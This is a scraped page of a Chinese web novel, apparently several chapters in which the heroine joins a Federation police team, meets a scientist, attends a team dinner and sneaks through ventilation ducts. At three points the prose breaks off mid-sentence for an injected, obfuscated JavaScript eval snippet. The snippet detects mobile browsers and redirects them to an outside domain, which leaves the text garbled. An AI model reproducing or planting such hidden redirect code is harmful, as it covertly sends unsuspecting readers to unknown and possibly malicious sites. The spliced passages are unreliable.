为什么非要让她卷进这场风暴里? 为什么! 唱鹿真想夺舍某个现实世界玩家的□□,再偷偷潜入游戏机房,引爆炸弹。 毁灭吧,这(脏话消音)的虚拟世界! “说到底,还是得找到封岚。”扶鸢轻叹,“至少要知道她到底怎么了,和风铃是什么关系,再借此找到风铃的下落。铁峰不是说了吗,封岚失踪后风铃也失踪了。” “是啊,失踪了二十多个纪年,突然又出现了,然后又失踪了。” 风铃,封岚。 封岚,风铃。 她们的名字一直在唱鹿脑海里打转。 封岚失踪前被联邦盯上了,看来必须从联邦下手了。 联邦…… 唱鹿阖眼,悲戚地想道:看来我和联邦是真的有仇。 下一秒,光幕弹出。 纵使闭上双眼,唱鹿也还是能‘看见’。 [支线任务:调查刺鲸。] [任务进度:100%] [恭喜你完成支线任务,已触发新主线任务,请及时查收。] [主线任务:追溯本源。] [描述:你是否认真思考过,我是谁?如果没有,那么现在是时候好好想想了。] [温馨提示:完成‘主线任务:寻找风铃’后即可获得奖励‘魔方·未知’,请再接再厉。] * “请在地上的蓝色光圈内站好,不要随意挪动,保持十秒,谢谢配合。”人工智能冷漠地说。 唱鹿抱着工作箱,依言迈入光圈内站定。 上次来也没见安检啊? 她正纳闷,旋即一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15031561|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道白光将她由头到脚、又由脚到头,足足扫描了两遍。 “未发现异常,允许进入。” 人工智能说完,挡在前面的防爆玻璃门才移开。 时隔两天再度踏进联邦第十三分局,总觉得好像过了很久。 最让唱鹿意外的还是入门前的身份验证,难道说她上次假扮闻人嘉的事已经败露了? 有可能。 那天在港口盘点时遇见闻人嘉,对方一副浑浑噩噩的模样,很难不被发现端倪。 至于伪装皮下是谁,应该没查到。 以联邦的行事风格,如果知道伪装者的真实身份,早就派人去抓了。 唱鹿稳住心跳,按照人工智能的指示走进电梯。 这套流程上次就走过,还要装作不知道,委实考验演技。 人工智能引导她直接去位于六楼的特警一队办公室。 电梯上行至四楼时停下了,戴着玳瑁眼镜的唐与走了进来。 理论上两人是初见,可唐与开口就问:“你是唱鹿吧?” 坏了,唱鹿心下一滞,“我们见过吗?” 装,使劲装。 这时候装得越像,越没事。 “不,是你的发色,很特别。”唐与撩了下短发,笑盈盈地说,“这世上没几个人有这种发色。” “除了我自己,我还没碰到过其他人有这种发色。”唱鹿试探道,“难道您见过?” 唐与笑意不减,“我只是随口感慨,也没见过。” 唱鹿:“是吗。” 撒谎。 唐与见到她时,神情有明显的怔愣。 那一秒她的视觉重心是在唱鹿的头发上,而非唱鹿的脸。 正常情况下,两个完全不认识的人见面,都会先看对方的脸。 因为五官是辨认身份最直接的途径。 先注意到头发,说明她以前就见过同样发色的人。 而且这个人给她的印象很深。 唐与绝对认识封岚。 电梯继续上行。 唐与背朝唱鹿,站在更靠近电梯门的位置,说:“你运气挺好。” 唱鹿想冷笑,“哪里看出来的?” 被苍镹点名选中加入联邦,简直是倒了血霉好吧。 “新人小嘉被挪去当文职了,队里这才有了空缺。” “因为……?” “她不适合当特警,过于多愁善感,容易受外界影响。”唐与说,“不要求你能力很突出,至少要能抗压。” 说得轻巧。 往生极乐带来的心理冲击,一般人能顶得住的? 唱鹿自认为心理素质过硬。 可在看到整个N278港口瞬间化作齑粉时,不还是懵掉了。 不论如何,闻人嘉终是被她拖累了。 以后要找机会补偿才是。 六楼到了。 唐与先出,唱鹿跟在她后头。 “你是特招进来的,实习期只有一个周期,但该过的考核还是要过。”唐与边说,边推开特警一队办公室的门,“这些苍队会和你细说。” 唱鹿进入办公室,唐与复而把门关上了。 只留唱鹿和苍镹独处。 苍镹坐在办公桌后,眼前亮着一个防窥悬浮屏。 她头也不抬,“你还是来了。” 唱鹿抱着工作箱的手不自觉收紧,轻哂道:“说得跟我还有其他选择似的。” “的确没有。” 苍镹平静而自信,“我想要得到的人,一定会得到。” “……” 好羞耻的台词,以前只在霸道总裁电影里听到过。 唱鹿忍不住脚趾扣地。 可说这话的人却浑然不觉。 苍镹关掉悬浮屏,起身时说:“把东西放下,我带你去科研部见一个人。” 唱鹿乖乖把工作箱放在脚边。 苍镹与她擦肩而过,突然停下。 “对了,你有魔方吗?” 51. 研究 051. 闻言,唱鹿心弦一震。 苍镹只是随口一问,没有真想让她回答。 因为她还没张嘴,苍镹已经走到办公室外头了。 这事肯定还有后招。 一个不明说,一个也不多问。 两人一起乘坐电梯抵达十五楼。 十五楼不同于其他楼层,一出电梯便能看见许多间有着大面玻璃隔窗的实验室。 正值工作时间,每个实验室里都有穿着工作服的研究员。 他们的胸口挂着铭牌,写有各自的名称和具体职位。 好奇心让唱鹿在最近的实验室外停下。 她透过玻璃窗观察里面的器材。 五花八门,形状各异,没有几个能叫得上名字。 研究员正在往烧瓶里添加药剂。 手特别稳,也特别谨慎。 一滴下去,烧瓶内原本透明的液体立即变成了紫色,还冒出一缕黑烟。 实验失败了。 研究员飞速将整个烧瓶封好,装进有禁止触碰标志的袋子里,再放进专用的垃圾回收桶。 看到研究员拿出新的烧瓶,又开始往里面添加不明液体。 唱鹿问:“他们每天就重复做这些吗?” 苍镹立于身侧,“嗯,通过不断地实验,来获取经验。” “总该有点成功吧?”如果让她每天做重复的工作,又看不到任何成果,倒不如换个职业。 “在右手边那张桌子上。” 唱鹿顺着苍镹所指示的方向望过去。 那是一张擦得铮亮的金属桌,桌面上摆着五排细玻璃长管。 每一条长管上都贴着标签,标签写有不同的代码。 唱鹿从中认出了C96和C701。 唐与说过,它们分别是愈合剂和解毒剂,都是伊莱莎教授发明的。 至于其他的…… 只有代码没有介绍,猜不出有什么作用。 见她这么有兴致,苍镹解说道:“这里头有各种效率不同的愈合剂,针对不同毒素的解毒剂,能够瞬间溶解尸体的腐蚀剂,和一碰就死的毒药。” 唱鹿不解,“毒药?” “你要先学会如何制毒,才能懂得如何解毒。” 说完,苍镹看了眼时间,“走吧,别让伊莱莎教授等久了。” 两人继续往十五楼的深处走。 唱鹿一路默默观察,发现每个实验室里的研发类型都不同。 有的是药剂,有的是布料。 其中有一间,研究员正在利用机械臂延展一块奇特的蓝黑色布料。 这块布料可以被拉伸到如同蝉翼般薄,始终不断。机械臂一旦松开,布料便会恢复成原来的样子,弹性不减。 还有一间在研发子弹。 子弹上有各种不同颜色的纹路,每一种的效果也不同。 路过时,研究员正在测试绿色纹路的子弹。 被子弹击中的小白鼠出现了严重的脱毛,死时全身只剩一层绒毛。 前进不久,两人停下了。 眼前是另一台电梯。 不同于分局大楼的公用电梯,这台是科研部内置专用。 公用电梯只能直达十五楼,或者二十一楼。 而科研部内置的电梯可以从十五楼去往十六到二十楼。 换言之。 十五楼到二十楼加起来,才是整个科研部。 这次要去的是二十楼。 电梯出来,入目先是一个大空间。 有桌有椅有沙发,飘在空中的光屏或大或小,上头展示的东西也各不相同。 正对面的那堵墙边并排放着三台圆柱扫描仪。一台正在使用,有个男人闭眼站在里面,表情像睡着了一样。 自然也有研究员。 还不少,一眼扫过去少说有十多个。 唱鹿默默环视一周。 发现这里还有几扇紧闭的门,不知道通往什么地方。 苍镹抓住一位行色匆匆的研究员,询问道:“伊莱莎教授呢?” “上厕所呢。” 话音刚落,九点钟方向传来冲水声。 一个高挑的女人从卫生间里走了出来。 褐色长发,或许是自然人。 头上有猫耳,但没有毛茸茸的大尾巴,这只‘猫耳’估计是某种新研发的装置。 她的黑眼圈很重,像有几天几夜没合眼了,行动迟缓且懒散。 其他人的制服都规矩地扣到顶部。 只有她的解开,歪歪地搭在肩头,露出底下的衬衫和短裤。 苍镹迎上前去,“教授。” “噢,你来了。”伊莱莎瞄了她一眼。 “我……” 伊莱莎没理她,兀自走向角落里的咖啡机,等咖啡煮好,又往里头加了致死量的方糖。 这杯咖啡肯定很难喝。 伊莱莎浅尝后却满足地舒了口气,“活过来了。” 苍镹:“……” 唱鹿:“……” 这人该不会是被糖齁出毛病了吧。 伊莱莎捧着咖啡杯,直接绕过苍镹,停在唱鹿面前。 她把唱鹿由头到脚打量了一遍,“新人?” 苍镹介绍道:“她叫唱鹿,今天入职。” 唱鹿:“你好,伊莱莎教授。” “你好。我是科研部的部长,伊莱莎。”伊莱莎露出疲惫的微笑,眼睛半眯,困得快要睁不开了,“我的研究主攻方向是魔方和梦境,如果你有什么疑惑或是新奇的发现,随时欢迎来科研部找我聊聊。” 苍镹试图插话,“每个新人都要先见伊莱莎教授,因为——” 伊莱莎打断她,“新人先去做个全身扫描。” 唱鹿:“……” 这两人好像不太对付? 原先站在扫描仪里的男人已经出来了。 一名和善的研究员引领唱鹿去往另一台扫描仪,伊莱莎在旁提醒道:“记得把身上携带的东西都取下来,外套和鞋子也要脱掉。” 唱鹿依言照做。 摘下耳坠和项链,又脱掉外套和鞋子,一同交给身边的研究员,然后赤脚站到扫描仪里。 扫描仪的半圆玻璃门缓缓合上。 伊莱莎对操控扫描仪的研究员打了个手势,然后回头与唱鹿对视。 “五分钟。”她用唇语说。 唱鹿悄悄咽了下口水。 不知道这台扫描仪是做什么用的,猜测应该和魔方有关。 假如它能够扫描出人体内的魔方,那么[魔方·拟造]肯定会被发现。 还好。 她出门前留了个心眼,没有把[魔方·洞悉]也带上。 联邦对她而言,无异于龙潭虎穴。 总得留点底牌以备不时之需。 扫描仪启动了。 唱鹿忽然觉得眼皮很沉重,要睡着了…… - “扫描完毕,请离开仪器。” 提示音响起,唱鹿也瞬间苏醒。 一场小憩,神清气爽。 唱鹿接过研究员递来的衣服和鞋子,道谢后麻利地穿上。 好像还少了点什么。 她问:“我的耳坠和项链呢?” 研究员说:“在伊莱莎教授那里。” 唱鹿四下张望,发现伊莱莎和苍镹都挪到了沙发上。 伊莱莎正把玩着她的耳坠,脸上依旧是那副随时都能睡着的表情。 耳坠是定制型通讯器,伊莱莎作为一名科研人员,对这种新型技术很有兴趣。 唱鹿过去时,伊莱莎抬起头看她,“东西不错,定制的?” “是。” “花了不少钱吧?” “五万通用币。” 伊莱莎若有所思地点点头,“做工精湛,技术顶级。伽马地区内有这种本事的人不多,有机会介绍我认识一下。” 唱鹿抿唇不语。 这对耳坠是唱鹿找地菩萨定制的。 据地菩萨所言,他只是个中间人,技术支持另有其人。 至于是谁,地菩萨没有告诉她,因为不知道更好。 唱鹿很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034823|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知趣地没有多问。 像地菩萨这种能在弹孔街做生意的狠人,时常游走于灰色地带。 他的好友名单上,至少有一半是不能公开的人物。 思绪至此,唱鹿心头一紧。 能被联邦拥有最高学术权威的人夸赞,却又不能见光。 制作这对耳坠的人十有八九也在通缉名单上。 她警觉起来,不再说话。 说多错多,一旦被钓鱼执法就糟了。 苍镹扫了眼耳坠,兴致缺缺,“这种东西外面多的是,中看不中用。” “别总觉得联邦什么都好,外面什么都差。”伊莱莎说,“人外有人,天外有天。” 两人的视线撞到了一起。 苍镹无所谓道:“你的专业,你说了算。” 说完起身去给自己倒了杯黑咖啡。 伊莱莎又说:“外面的技术不比联邦内部落后,我们的思维太死板,不如外头的新奇。” 唱鹿敷衍道:“我只是消费者,不懂这些。” 把耳坠还给她后,伊莱莎喝了口咖啡。 唱鹿见她迟迟没有再行动,提醒道:“教授,我的项链。” “噢,项链。”伊莱莎如梦初醒般,右手探到外套的口袋处,隔着拍了拍,“借我研究几天,你应该不介意吧?” “这只是一条普通的项链。”唱鹿说。 平平无奇,没有任何机关。 里面原来放着的风铃照片也已经送给扶鸢了。 正常人不会对项链感兴趣,除非…… “还是说教授觉得项链眼熟?” “是有点眼熟。”伊莱莎微笑,“很久以前好像见谁戴过,应该是……” 看嘴型,她是要说“封岚”。 唱鹿的心脏骤然猛跳起来。 偏偏这时苍镹端着咖啡杯回来了,“扫描结果如何?” 伊莱莎嘴角下扯,“着急就自己去报告。” “看得懂就不问你了。” “路边的狗都懂。” 苍镹不吃她这套,间隙回头给唱鹿递了个眼色,“你去十五楼等我。” 接下来的她们要聊的事,她不适合在场。 唱鹿会意,转身朝电梯走去。 铁峰曾说过,认得那条项链的人都可以信任。 伊莱莎在联邦内部工作,认得项链,知道项链曾经的主人是封岚。 如果没有苍镹,她和伊莱莎几乎就要对上暗号了。 没关系。 唱鹿走进电梯,阖眼深呼吸。 这里耳目众多本就不适合接头。 以后在联邦的日子还长,总有机会去向伊莱莎要回那条项链。 - 唱鹿正在十五楼闲逛。 她对一项研究产生了兴趣,站在挡窗外看了很久。 正对的实验室内,一名研究员正在解剖一只异种。 是的,异种。 正常来说死后就会化为液体消失的异种,现在却好端端地躺在解剖台上。 庸医给过她一枚子弹,说是能杀死一种并让它保持原有的形态。 现在看来,联邦早已研发出类似的技术了。 研究员如庖丁解牛,熟稔地取出异种的内脏、牙齿、利爪,用玻璃容器分开装好。 连表皮都不放过,一整张不做任何切割完整剖下,并由机械臂展开以便观察。 苍镹寻过来时,唱鹿正皱着眉头看研究员剖尸。 她不以为然地问:“你以前经常出海,这些东西没少见吧?” 唱鹿答道:“没见过死了还能留下尸体的。” 不得不说,瞧着真恶心。 “数据海里的东西,小到泡沫,大到母体,伊莱莎都有研究。”苍镹说,“你别看她成天一副没睡醒的样子,脑子比联邦里的任何人都好使。” 伊莱莎教授是整个联邦最具知识权威的人。 唐与曾如是说道。 唱鹿好奇,“解剖异种做什么?” “做武器。”苍镹周身气息冷凝,“指不定哪一天就开战了。” 52. 聚餐 052. 苍镹可不是危言耸听。 饶是唱鹿这类不怎么看联邦新闻的人,也知道三大地区的关系很紧张。 矛盾主要出在福音地区。 那片一直不太平,教团压制不住反叛军,内乱持续了近百个纪年。 但这些事唱鹿听听也就过了,离她的生活太远。 更何况,今天早上还有许多事要忙。 人工智能给她发了今天的日程安排。 早上还要去拜访后勤部和巡警部。 最后再去面见特警大队长。 一趟下来,已经是中午。 吃饱喝足,短暂休息过后,下午还有其他安排要逐一完成。 其中最重要的便是体能测试。 上回假扮闻人嘉没能去成的训练场,这次在苍镹的带领下成功进入。 人工智能介绍说已升级了训练器材,能够抵挡各种赐福的摧残。 这些器材比安保队的更全面。 先前俞瑶纵使出高价也买不到的东西,在分局训练场里随处可见。 唱鹿按照人工智能给的表格,测试了力量、速度、耐力、柔韧性和协调性。 因为完成速度快,苍镹还给她额外追加了格斗、射击和闪避测试。 整个过程,人工智能都在实时计算成绩。 当唱鹿结束最后的闪避测试,苍镹也拿到了她的体能测试报告。 体能测试的成绩分七个等级。 最低D级,最高S+级。 分局强制要求其麾下职员每个纪年进行一次体能测试。 当然,也可以主动申请要求测试以随时更新成绩。 测试成绩对文职用处不大,却是巡警和特警升职加薪的重要考核标准。 尤其是巡警。 巡警想要升任为特警,体能测试必须超过A。 唱鹿第一次体能测试的最终成绩是S。 报告显示她的力量稍弱。 而另外四项皆为S,其中的是协调性更是惊人的S+。 三个附加项目的成绩也不错。 射击达到S,格斗和闪避都是A。 苍镹评价道:“你很全面,很少有人能在第一次体能测试拿到S。” 很少但不是第一个。 唱鹿随手擦掉额头上的汗珠,把气喘匀了之后试探道:“还有谁?” 苍镹斜睨过来,“我。” 唱鹿:“行,” 不意外。 唱鹿八岁开始拿刀讨生活,苍镹也是十岁出头便成为了一名联邦特警。 论实战经验,苍镹肯定比她多。 然而唱鹿这么问可不是想听她自夸的,嘴角不由得往下扯了点。 她的微表情被苍镹尽收眼底,“听到是我,很失望?” 唱鹿摇头,“以为还有其他人。” 比如封岚。 这样她就可以借机深入挖掘下去。 苍镹稍微琢磨了一下,说:“老杨也是。” 老杨是特警三队的队长,全名杨树林。 老杨作为激进派,和作为中立党的苍镹一向不睦。 老杨和他手下的队员都有一种野心勃勃的冲劲,似乎对于杀人夺取的魔方这事特别热衷。 唱鹿不太喜欢这个人。 见她不说话,苍镹后知后觉道:“你还没见过老杨。他这人脾气不太好,可同在特警部,免不了要打交道。你能忍就忍,忍不了就打一架。他年纪大了,不一定打得过你。” 唱鹿:“啊哈。” 还真是独特的处理方式。 苍镹挥了下手,悬在眼前的体能测试报告旋即消失。 她说:“总之,先恭喜你加入特警一队。今晚六点,队内有一场迎新聚餐,吃完估计快十点,我已经帮你安排好了临时宿舍,将就着住一晚,明天一早还有更重要的事要做,省得跑来跑去浪费时间和精力。” “我家离分局挺近的。”唱鹿试图婉拒。 “可你体内有魔方。”苍镹用一种不容分辩的语气说道,“在伊莱莎弄清楚你的赐福的作用之前,你必须留在这里。” 原来这才是强制要她留下的原因。 话已至此,也只能遵命了。 唱鹿耸耸肩,“不过我能问一句,今晚聚餐吃什么吗?” 她不是铁打的,一整个下午都在体能测试,浑身大汗累得直喘气不说,早就饿得前胸贴后背了。 “自助。”苍镹说,“众口难调。与其让我来安排,不如你们自己选。” - 聚餐的地点是分局附近的一家自助餐厅。 因为餐位费昂贵,前来就餐的人并不多。 唱鹿故意踩点到。 原以为自己会是最后一个,不想到时桌旁只有唐与,其他人都还没来。 唐与招呼她坐下,又说:“她们都懒散惯了。除了出任务能随叫随到,其他事情都磨磨蹭蹭的。不用等,你饿了就先吃。” 作为一个新人,不等人齐就动筷总是不太礼貌。 唱鹿倒了杯鲜奶垫垫肚子,“还是等大家一起吧。” 过了十来分钟,剩下几人陆续抵达。 先到的是一个女人,直来直去的性格曾给唱鹿留下深刻的印象。 她名叫泠茶,分属贝塔小队,是唐与的搭档。 后面又来了两个男的。 一个年轻俊美,一个年纪大一些,都分属于欧米伽小队。 年轻的叫黑鸦,队内唯一狙击手。 更大的那位自称老枪,属于后备力量。 唱鹿先前以闻人嘉的身份和他们见过,如今才知道每个人具体的名字。 简单的自我介绍过后,就算正式认识了。 最后进来的是苍镹。 她扫一眼人头,“人都到齐,那就别拘着了,该吃吃该喝喝。” 泠茶拽着唐与直奔甜品区,黑鸦和老枪也去取餐了。 剩下唱鹿和苍镹,面面相觑。 “你在训练场里不是一直喊饿吗?怎么不去拿东西吃。饿过头了?” “这杯牛奶是甜的,有点腻。” 苍镹又说:“泠茶最爱吃甜食,你不喝就留给她吧。” 聊到其他人,唱鹿顺势问道:“一队就我们这几个人?” 上次去港口执行任务,一台警车里坐着的可不止眼前几位。 “我们是固定编制,还有一些人员比较灵活,需要时随时分配给每个队伍。”苍镹说,“你以前见过特警出队?” “没见过。”唱鹿避开话题陷阱,“只有六个人,还要细分成三个小队,怎么想都觉得多余。” 对面的人挑了下眉头,露出赞赏的神色。 “足够敏锐,所以我喜欢你。” 这话肉麻得让唱鹿觉得全身像有蚂蚁在爬。 她清咳两声,“我有件事想拜托你。” 苍镹不语,等着。 唱鹿尬笑道:“以后别再说这种话了,我害怕。” “怕什么?”泠茶正好回来听到两人的对话,“苍队就是说话露骨了点,又不会真的吃了你。” “露骨吗?”苍镹似乎是第一次听到这种评价,有些意外。 唐与端着盘子在她旁边坐下,“领导还是直白点好,拐弯抹角才难搞。” 泠茶轻哂,“老杨够直白吧?不是一样难搞。” 黑鸦和老枪也选完餐回来。 两人坐在同一排,黑鸦说:“可是我觉得杨哥人挺好的。” “你觉得,又是你觉得。你上次还觉得那谁谁是好人呢!结果呢,扭头就杀了三个人,还得我费心劳心去把他追回来。” “那谁谁确实是我看走眼,可我不是和你道过歉了嘛!” “道歉有用要我们干嘛!” “……” 泠茶每天必呛黑鸦,大家见怪不怪,都习以为常。 一旦争吵进入白热化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15038328|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,老枪便会站出来冷喝一句,“都给我闭上嘴巴,老实吃饭。” 两人真就停战了。 黑鸦不再开口,但泠茶还会偷偷嘀咕,“闭嘴还怎么吃饭。” 唐与给众人倒酒,问苍镹道:“安排好临时宿舍了?” “嗯,五楼正好有空房。” “五楼挺好呀。”泠茶插话进来,“五楼住的都是科研部的人,他们安静。不像我,和三队的人住隔壁,一天到晚吵死了。我上次去找后勤部投诉,你知道他们说什么嘛,让我直接去找老杨。找老杨?我不要命了,我去找老杨。老杨成天一副别人欠了他几百万的样子,谁敢去找他!哦对,黑鸦,你不是说他人好吗?你帮姐姐去一趟呗。” 黑鸦正切牛排,听完两手一顿。 得,战火又将燃起。 唱鹿即时岔开话题,“五楼都是科研部的人,也包括伊莱莎教授吗?” 泠茶果然被带跑了,“她住六楼。可她不怎么回宿舍,都是直接睡在科研部的休息室里。那群搞科研的,一忙起来简直不要命,成宿地熬。我昨天才去见过伊莱莎教授,瞧那个黑眼圈哦,去夜店蹦迪都不用化妆。” 提到科研部和伊莱莎,她托腮看向唱鹿,“新人有魔方吗?是什么样的赐福?” 没想到竟是一记回旋镖。 唱鹿哽住。 这时苍镹举起了杯子,“让我们祝贺新人加入。” 众人依言举杯。 “欢迎加入特警一队。” “欢迎。” “今后我们就是队友了,要相互帮助。有什么事情要及时说,不用客气。” 泠茶再一次被带偏,也高举玻璃杯,“我呢,不懂漂亮话。就祝福你能坚持久一点,别像上次那个似的,没几天就被调走了。” 唱鹿和她碰杯,“我尽力。” * 联邦第十三分局的宿舍紧挨着分局大楼,中间只隔了一个小花园。 晚十点左右。 聚餐结束,唱鹿和泠茶一起回宿舍。 泠茶话多,一说就收不住。 加上喝了点酒,简直是嘴在前面飞脑在后面追。 短短二十分钟路程,透露了不少消息。 比如,老枪在联邦已经干满二十个纪年了,前阵子刚分到一套两室一厅的商品房,从宿舍搬了出去。 再比如,唐与喜欢的是女生,疑似暗恋苍队。 再再比如,伊莱莎教授住在606号宿舍,她今晚一定会回去。 “伊莱莎教授喜欢连熬好几个晚上,然后回宿舍睡上一整天。”电梯内,泠茶半倚靠在唱鹿身上,散发着酒气,“那群搞研究的都是怪人,一个比一个怪,伊莱莎教授尤其怪!你今后就知道了。嗝——” 宿舍三楼到了。 泠茶的宿舍就在这一层。 她半醉半醒,摇晃着和唱鹿道别,“明天见——哦不,明天见不到。你明天得去——嗝,你明天就知道了。拜拜,晚安咯——” 明天。 苍镹也说明天有更重要的事,现在泠茶又提到明天…… 难道新人入职后的第二天有什么仪式? 总不会是召开一次集体会议,让她上台去给整个特警部的人做自我介绍吧? 回想今日种种,明天伊莱莎应该就弄清楚她的赐福有什么作用了。 如果是,唱鹿很好奇是怎么做到的。 通过科研部里的那三台扫描仪?还是说伊莱莎本身就可以看破她赐福的内容? 唱鹿回到临时宿舍,关上门。 她观察四周。 床上用品一应俱全,还有换洗的内衣和制服。 外头走廊有监控,但房间里没有。 人工智能只监视分局大楼,不负责宿舍楼。 如果能直接从房间去到另一个房间,就能神不知鬼不觉地和伊莱莎接头。 唱鹿的目光落在厕所门上。 也许,还真有办法。 53. 线索 053. 唱鹿站在马桶上,抬头望向通风口。 有几个问题正在她脑海里打转。 一,通风口是否能通向六楼? 二,六楼的格局和五楼是否一致? 三,要不要直接爬墙翻窗? 前两个问题不确定,第三个问题的答案是不要。 不要,不能,绝对不行。 分局里多的是追月族。 这个族群是夜行生物,入夜后五感倍增,夜视能力超群。 如果冒然翻窗爬墙,必然会被追月族察觉。 宿舍楼下的夜班保安就是追月族。 爬通风管道是最佳选择。 至于能不能抵达六楼,找到伊莱莎的606房,全凭运气。 她踩在墙壁上,寻找个合适的落脚点,然后使劲往上发力一蹬。 手碰到了通风口处的百叶格。 唱鹿伸出两个手指钩住百叶格,稍用力往下拽,轻松将封口取下。 通风管道的大小直径正好能容纳一个普通身形的成年人钻过去,但只能一路往前,无法在途中调头。 她把脑袋伸进管道内,左右观察。 管道内漆黑,右手边几米开外有一处光点,光照出腾腾热气。 是住在她隔壁宿舍的人在洗澡。 大致有了方向和路线,唱鹿没有立即钻进管道里,而是先跳回地面稍作准备。 她把制服外套脱下,只穿个紧身背心。 鞋子和袜子也不用穿,通风管道内侧是金属壁面,赤脚可以增加摩擦力。 最后摘下耳坠,选出负责输出投影的那一根,用手势指令打开它的外置照明。 这个照明功能其实很鸡肋。 因为耳坠造型细长,内置的灯泡自然也小,光照力度极弱。 今晚还是头一回用上。 唱鹿把耳坠叼在嘴里,翻身一跃钻进了通风管道。 正如泠茶所说,五楼住的都是科研部的人。 大部分还没回宿舍,极少数已经归来的都很安静。 有的在敷面膜,有的在泡澡。 还有坐在马桶上写报告的,太过专注,完全没有发现通风管道里细微的小动静。 小心谨慎地爬过一遍五楼通风管道,唱鹿心中已经有了一张大致的路径图。 因此在上到六楼时,立刻意识到这两个楼层果然格局不同。 五楼每间宿舍面积更小,布局更窄。 而六楼明显宽阔得多,从通风管的光点间隔就能看出来。 但这难不倒她。 六楼的通风管道是直线型,可以用排除法轻松定位到目标地点。 找到准确位置,唱鹿关掉照明,伏在管道口,透过百叶格往下观察。 厕所的灯亮着,浴缸里正在放热水。 整体装潢很简洁,与其他宿舍并无二致,只是有一样东西坐实了住在这里的人的身份。 ——一个挂在镜子旁边的‘猫耳’造型的耳机。 唱鹿正在找落脚点,盘算着该怎么出现才不会让对方吓一大跳。 五六楼这么安静,如果突然有人尖叫,必定会被察觉。 这时,厕所的门开了。 伊莱莎已经脱掉了早上见面时穿的制服,剩一身轻便的日常装束。 她将臂弯里换洗的睡衣和浴袍放在架子上,关掉浴缸的水龙头,走到镜子前开始脱衣服。 厕所里水雾氤氲。 视野开始变得模糊,可伊莱莎光洁无暇的后背还是很显眼。 她皮肤很白,很亮。 不,应该说很完美。 光滑,细腻,没有一点疤痕,像一匹绸缎。 排气口的热气扑面而来,唱鹿试图往后挪一挪,等伊莱莎洗完澡再下去。 谁知她一动,百叶格竟嗒一声松了,直接从通风管口坠落。 完了。 百叶格砸在伊莱莎的正后方。 她一惊,抬头的同时警惕道:“谁!谁在上面!” 大量水雾阻隔在两人中间,谁也看不清谁。 伊莱莎操起盥洗台上的肥皂盒,摆出防备的姿态,“到底是谁!再不出来我就按警报了!” 出师不利。 唱鹿在心中默默叹气。 没办法,只好提前钻出通风管。 她稳稳落地,摆摆手想驱散眼前的白雾,可完全是白费功夫。 也不知道伊莱莎在浴缸里放了什么东西,空气中有股呛鼻的浓香,水雾愈来愈厚重。 两人近在咫尺。 她看不清伊莱莎的脸,伊莱莎也看不清她是谁。 “你是谁!” “说话!” 唱鹿倒是想说话,可这些雾直往她口鼻里钻,呛得她难受。 就像有人拿着香水往她脸上喷。 伊莱莎不依不饶,抬高了音量,“再不说话我就——” 下一秒,伊莱莎的脑袋砸在地板上,发出一声清脆的响。 唱鹿:“……” 听声音,是个好头。 但她发誓,她没动手! 她只是想捂住伊莱莎的嘴巴,让她先别叭叭。 手到还没碰到她脸呢,脑袋就自个掉了。 更诡异的是,脑袋没了,可身体还站着。 右手抓着肥皂盒,左手搭在镜子旁的警报器上。 完全没有要倒下的意思。 “噢,是你啊。” 落在唱鹿脚边的伊莱莎的脑袋在说话。 一瞬间,唱鹿意识发空。 这一幕完全超出她认知。 虽说有部分智械也能把自己的脑袋拧下来,但躯干与头部之间神经还是连着的。 就像断开的藕节。 伊莱莎是完全头身分离。 还能说话! “不好意思,我脖子上的螺丝有点松。”伊莱莎的无头躯体抬手摸了摸脖颈,“能麻烦帮我捡一下吗?我的头掉了。” - 唱鹿坐在客厅的沙发里,沉默凝视着茶几上的两个杯子。 它们在她来之前就摆好了。 两个,一左一右,而非并排。 伊莱莎从厨房里走出来,手中的小锅里是热好的牛奶。 她把牛奶分别倒进两个杯子里,将其中一杯往唱鹿的方向推了推,“喝点,没有加糖。” 唱鹿现在一肚子疑惑,没有胃口喝东西。 又不好意思驳了对方的热情,于是举杯抿了一小口。 伊莱莎见状露出满意的微笑,在她对面的单人沙发坐下,也慢慢品尝起自己的那杯牛奶。 “你知道我会来。”所以她才提前准备好了两个杯子。 “知道。”伊莱莎不否认,“但我没想到你这么心急。更没想到,你会如此戏剧性地出现在我面前。” “我认为我想和你讨论的事情最好不要拿到台面上说。” “的确,你肯定有许多问题要问。” 两人对话时,唱鹿一直在观察她的神色与语气。 很诚恳,甚至可以说是毫无隐瞒和防备。 最重要的是,唱鹿注意到伊莱莎对她的好感度涨得飞快。 早上见面时还是正常的10,陌生人之间的正常数值。 十几个小时过去,竟飞速抬高到了盟友的水平,足有70之多。 意外觉醒后,唱鹿便能看到每个人对她的好感度。 